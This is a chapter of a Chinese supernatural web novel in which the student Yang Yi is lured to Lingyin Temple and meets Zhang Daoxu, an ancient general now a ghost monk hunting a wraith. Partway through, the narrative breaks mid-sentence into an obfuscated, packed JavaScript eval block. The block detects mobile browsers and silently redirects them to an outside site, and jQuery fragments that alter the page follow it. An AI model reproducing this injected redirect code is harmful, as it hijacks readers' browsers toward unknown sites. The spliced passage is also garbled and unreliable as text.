“张道胥竖着离开金陵,横着回来。天哭了没有,百姓知道,而杨弈到底哭了没有,只有鬼知道。”
摘自《与和尚同居的日子》
杨弈从小就明白一件事:人与人之间,是有智商差异的。他不强求自己理解低智商人群的行为逻辑,好比当下。
纪飞害怕要担责,肇事而跑,理解。
他选择的逃跑方向,不理解。
纪飞拉着他一口气跑到巷子尽头,无路可走——这里是个死胡同。
“杨弈,我完了。”
“没伤到人,以你家的情况,最多交一点罚款。”
“真的没伤到人吗?没伤到人的话,你奶奶为什么要我跑?”
傻叉,是说给你听的么?是让你跑么?
此时消防车驶入古城区,围观群众将事故现场围得水泄不通,居委会出面疏散人员,杨弈抬起食指,戳着纪飞往巷口走去:“去负你该负的责任吧。”
古城瓦斯爆炸的视频已经迅速在网上传开,洪景天箭步冲上办事处:“主任,那个阴傀又在制造事故了。”
张道胥关掉手机屏幕,道:“我已悉知。”
洪景天五体投地:“主任不愧是神灵,目光之深远,消息之迅敏,叫我等望尘莫及。”
洪景天腹诽,您如此伟大,为何事发时不去阻止?
张道胥微微一笑:“谬赞。”
张道胥心想,傻叉,他当然是通过短视频刷到的。
前天的考场作弊,宾馆闹事,昨天的变压器故障,今天的瓦斯爆炸,明天又是什么呢?
这些社会事故必将引起社会恐慌,捉拿此游离阴傀迫在眉睫。瓦斯爆炸不过半小时,此阴傀一定还在古城区...如果...杨弈还在古城区的话。
“洪秘书,限你二十分钟后,带着十三中学高三二班杨弈来办事处见我。”
“你说多久后?”
“他家住槐花巷十三号,很近。”
“可否宽限一些时间。”
“事不宜迟,直接绑架过来吧。”
“我祖上是书香门第,岂能让我做此等下作之事?”
“我会为你女儿再添寿一年。”
“主任稍等。”
洪景天一边小跑,一边在心里打着算盘。
张道胥虽已放下屠刀近乎千年,但毕竟是武将出身,正所谓狗改不了吃屎,能想出“绑架”这种低劣手段,无可厚非。但他不同,他有他的家世,有他的教养,他坚决不能做出让家门蒙羞之事。
他打开手机里的街坊群,在群里发送:「家人们!紧急事件!有谁见过十三中高三二班杨弈?」
吴奶奶:「有人看见他和肇事摊主一起去派出所了。」
洪景天:「街道派出所?」
刘奶奶:「对的呢,听说他和肇事摊主是同学,我就说十三中都是些祸害。」
派出所在灵音寺西边,现在外面肯定不让私家车通行了,洪景天又不愿意骑自行车,跑过去的话,也得二十分钟。他思忖一番,拨通派出所所长的电话,“朱所长,我们主任有事相求。”
...
三分钟后,一个警员走向办公厅:“谁是杨弈同学?”
张道胥街道一向治安良好,少有鸡飞狗跳,此刻除了几个昏昏欲睡的老警察,办公厅只有两个少年,其中一位站起来:“找我有事?”
“杨同学你别担心,我们是想就燕尾县考场的事请你协助调查,我的警号是1388892,请你跟我过来。”
“难道这件事不是当地县局负责么?”
“哦,是这样,我们是协办方,你是在十三中学借读对么?十三中学是我们辖区对么?我跟你说啊,今天真是凑巧了!我正要去市局和县局开会呢,开完会才会挨个走访证人,没想到你这个证人自己送上门了,哈哈哈哈哈。”
整个办事厅鸦雀无声,越发衬得这笑声尴尬。
杨弈心里虽然生疑,但他一没背景二没钱,没什么可损失的,便迈步走向该警员。正在接受询问的纪飞刷地站起来:“杨弈!我们还能再联系吗?”
杨弈手插口袋,无所谓地点点头。
杨弈坐上警车,警员信誓旦旦地跟他保证程序正规,但一席话还没来得及说完,车就停靠在了马路边上。
“哎呀,这么快就到了。”
杨弈向外看去,碧荫之下是朱红寺门,游客纷纷,旅行团将检票通道围得水泄不通。比之人山人海,那块挂在山门上的牌匾就相形见绌了。
杨弈瞥了眼“灵音寺”三字,问道:“寺庙?”
警员道:“哎呦,我刚接到通知,今天庙里有教务局举办的报考指导服务,其它几个证人都来参加指导,所以就把大家一起聚在庙里了,哈哈哈,真是巧啊。”
杨弈若有所思道:“是呢。”
警员把杨弈送入员工通道,挥了挥手:“我还有工作,待会儿有同事来接你,你别乱跑啊。”
员工通道通往礼品店,店里已经被旅游团占据了,杨弈被游学团推搡到礼品店门口,快中午了,刺拉拉的阳光照在杨弈脸上,反着耀眼的白光。
两个女孩子鼓起勇气来要他微信,杨弈礼貌道:“我不用微信。”
女孩子觉得这男孩儿有些傲慢,跟她们说话时,眼睛一直盯着别的地方,被拒之后,悻悻走开,过了一阵,其中一个女孩子茅塞顿开:“他可能是斜视。”
杨弈盯着的方向,是灵音寺大殿。通常佛寺大殿都是供奉如来的“大雄宝殿”,但南朝的权贵阶层流行为自己造神像,歌功颂德,故南朝遗留下的佛寺,大多供奉当时权贵。
说起南朝,在历史上虽谈不上耀眼,但却是一个长寿朝代。南朝统治三百年,没有战乱,没有灾荒,子民安居乐业。上世纪五十年代,南朝历史研究所正式成立,官方盖章,南朝的长治久安,始于一个叫做“张道胥”的名将。
时年的圣宗皇帝暴虐无道,弑父夺权,迷信鬼神,不断向关外法起战争,年轻的将领张道胥为帮皇帝消业,剃度为僧,后来更是舍身取义,于阵前自刎,唤醒南朝子民心中对和平的期望。
而灵音寺,正是纪念张道胥的庙宇,灵音寺大殿正前方,一尊瘦削英挺铜像佛身被四方香炉环绕,此佛祖一手持念珠,一手持宝剑,威风凛凛。
四面香炉插满了香火,佛像脚下,跪拜的人头此起彼伏,一拨香客还没起身,另一拨香客已经拥挤着向前了。
可杨弈久盯不放的,不是大殿,不是香客,也不是佛像,而是大殿台阶正中央站着的一名和尚。
不知是否因为隔着香火,看不真切,他总觉得沿台阶而上的游客正在穿过那和尚的身体,而且,他觉得那和尚也正在看着他。
杨弈盯了许久,越来越热,仍没人来接他,他直接转身走向出口。
杨弈刚一转身,一个光明的脑袋跃入眼帘。
他心中一惊,这正是刚才他看见的和尚。可他不是站在大殿前么?如何能瞬间转移到自己身后?
结合这几日他看到的血衣人,杨弈非常确定,自己见鬼了。
他视若无睹,若无其事地朝和尚左边的空处绕过去。
杨弈向左,和尚便向右。
杨弈不慌不忙,又向右走去,于是和尚向左迈了一步。
杨弈于是转身绕道,熟知一转身,又与这和尚打了个照面。
“你看见我了,是不是?”
杨弈不是容易撞邪的体质,至少在他人生前十七年里,从未撞过鬼,他将近来种种归因于金陵风水。面对眼前这位的质问,他选择不理不睬,岂料这邪物得寸进尺,竟上前一步。
杨弈虽然不怕鬼,但是他怕热。
杨弈条件反射地后退一步,忽然肩头落下一只手,杨弈欲挣,整个肩膀像是被卸掉一般,使不出半分力。
转眼间,四周景象骤变,杨弈环视当前场景,自己与这和尚已是置身室内。
四下环境清雅拙朴,透着一股幽幽木香,矮几坐具,都是古物。
杨弈道:“你是张道胥?”
张道胥听到一阵擂鼓的声音,心中想道,不知哪个熊孩子又乱敲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230543|181760||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暮鼓了,他浑然不觉是自己的心脏在跳动。
“你...是...杨弈?”
杨弈从裤兜拿出自己的身份证,摆在张道胥面前:“你自己看吧。”
身份证照片上的杨弈留着一个清爽寸头,对张道胥来说,他的五官只能说是端正。
不,他不是杨弈。
便是少年时的杨弈,也不是如此平凡。
“你如何认得我?”
杨弈心说,这难猜么?他和大殿前的佛像简直一模一样,若非张道胥本尊,至少也是他的后裔。于是,他如实相告:“你和大殿前的铜像很像。”
张道胥喃喃道:“看来造像的钱没白花。”
“你说什么?”
“我说,请你帮我一个忙。”
他不是杨弈。
一千五百年,杨弈的尸骨都该化灰了。
“请你引游离阴傀进入寺中。”
杨弈虽未听过“阴傀”一词,但想当然,他指的定是那个血衣人。
“报酬呢?”
不...
他或许是杨弈。
不然的话,一个未成年的少年,见到神灵岂会不敬畏?
张道胥:“无偿,你愿意么?”
杨弈:“你在化缘么?”
化...化缘...他竟以为自己是在乞讨。张道胥低头看了看自己的袈裟,虽说一千五百年未换,但他的袈裟崭新洁净,还有淡淡檀香,他看起来,难道很像乞丐么?
“那你想要什么报酬?”
杨弈目光微沉,一时也不知答案。少年眼眸低垂,透过睫毛间隙的深邃目光,有几分故人的神态。
逐渐清晰的脚步声打断了杨弈的思路,他闻声向楼梯间看去,才一抬起头,什么都没看清楚,就被一只手向下拖去。
这鬼和尚!有事不能先动嘴么!
杨弈被张道胥拖到暗层,这里的内饰风格和刚才所在的明层迥然不同,现代化的沙发、办公桌、冰箱,还有...面包机?
见杨弈盯着面包机,张道胥解释:“我喜欢吃烤至微焦的全麦面包,如果能搭配六分半熟的煎蛋就更好了,你呢?”
杨弈颔首,视线落在被张道胥抓住的手臂上。史书记载张道胥是武将出身,可他手背的颜色并不像是风吹日晒过的,只是稍有些暗沉。
那只手背隆起的血管说明他在用力,可杨弈被握着的手臂却没有太大感觉。所以...这鬼和尚的劲儿使哪去了?
对了,他刚才的问题是什么来着?哦对了,说煎蛋呢。
“煎蛋不属于荤腥么?”
脚步声越来越清晰,木建筑里隔音并不好,张道胥低声吩咐:“你呆在这里,不要出声。”
“你去哪儿?”
“我去收服游离阴傀,她很有可能是被你引来的。”
杨弈淡淡道:“注意安全。”
“你放心,我是阴傀里的大人物,已获取神位,四神之间,也以我为首。金陵乃我神域,金陵之内,我无所不能。我在之处,定护你周全。”
杨弈随着阳婆四海漂泊,遇到的奇葩不少,不差这一个,他将对方当做神经病看待,冲对方点头说:“那多谢你了。”
张道胥倏地不见了,杨弈端详四周一番,率先走向他的办公桌。办公桌上有一个笔记本电脑,除此之外,桌面没有其它文件。
他打开电脑,电脑屏幕停留在资料页面。
「姓名:玉将军;身份:元末女将;生年不详,因为本神不负责人口出生。卒年:公元一三五零年五月初三;表面死因:被义军围困,断粮而亡;真实死因:被部下背叛切蛇,万箭穿心;功德等级:六颗星;怨力等级:一百颗星。」
杨弈聚精会神浏览之际,一片阴影投下,他向着暗层入口看去,枯草般的长发沿着入口垂下,杨弈打开手机手电,照亮入口处,只见两只骨瘦如柴的血手拖着下巴,静静注视着他。
这正是扰乱考场的血衣鬼!等等...张道胥不是去抓她了么?她在此处的话,张道胥去抓的又他妈是谁!